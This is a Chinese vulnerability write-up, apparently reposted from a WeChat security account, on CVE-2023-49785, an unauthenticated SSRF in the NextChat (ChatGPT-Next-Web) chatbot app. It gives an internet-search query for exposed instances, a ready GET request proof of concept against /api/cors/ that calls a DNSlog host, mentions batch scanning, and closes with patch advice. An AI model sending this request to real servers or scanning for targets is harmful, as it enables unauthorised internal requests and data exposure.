文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责。如有侵权烦请告知，我会立即删除并致歉。谢谢！
一：漏洞描述
NextChat（又名 ChatGPT-Next-Web）是用户最流行的独立 Gen AI 聊天机器人应用程序之一。用户可以通过这个程序与GPT进行交互。这是一个GitHub项目，拥有超过 63K+ 的 star 和 52K+ 的分支。该聊天机器人应用程序主要部署在中国和美国，有超过 7500 个暴露实例。
该产品存在服务器端请求伪造漏洞，2024年3月，互联网上披露CVE-2023-49785 NextChat cors SSRF 漏洞，攻击者可在无需登陆的情况下构造恶意请求造成SSRF，造成敏感信息泄漏等。
二：漏洞影响版本
NextChat 三：网络空间测绘查询
title="NextChat"![[在野0day]-CVE-2023-49785](http://cn-sec.com/wp-content/uploads/2024/03/7-1710409756.png "[在野0day]-CVE-2023-49785")
![[在野0day]-CVE-2023-49785](http://cn-sec.com/wp-content/uploads/2024/03/5-1710409757.png "[在野0day]-CVE-2023-49785")
五：漏洞复现
POC:
GET /api/cors/http:%2f%2fnextchat.[DNSlog]%23 HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip
SSRF漏洞复现通常使用DNSlog方式
服务器端请求伪造（Server-Side Request Forgery，SSRF）是一种安全漏洞，通常出现在允许用户提供URL并对其进行处理的地方，比如像图片上传、URL预览或其他外部资源加载的功能。攻击者可以利用这些功能，构造恶意的URL，使服务器发起对内部系统、本地文件或其他未授权的网络位置的请求。使用DNSlog生成一个域名，替换POC中【DNSLog】内容
![[在野0day]-CVE-2023-49785](http://cn-sec.com/wp-content/uploads/2024/03/0-1710409758.png "[在野0day]-CVE-2023-49785")
收到DNS解析记录
![[在野0day]-CVE-2023-49785](http://cn-sec.com/wp-content/uploads/2024/03/9-1710409758.png "[在野0day]-CVE-2023-49785")
六：批量检测
![[在野0day]-CVE-2023-49785](http://cn-sec.com/wp-content/uploads/2024/03/8-1710409760.png "[在野0day]-CVE-2023-49785")
避免将应用程序暴露给公共互联网建议更新当前系统或软件至最新版，完成漏洞的修复。
原文始发于微信公众号（Adler学安全）：[在野0day]-CVE-2023-49785
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论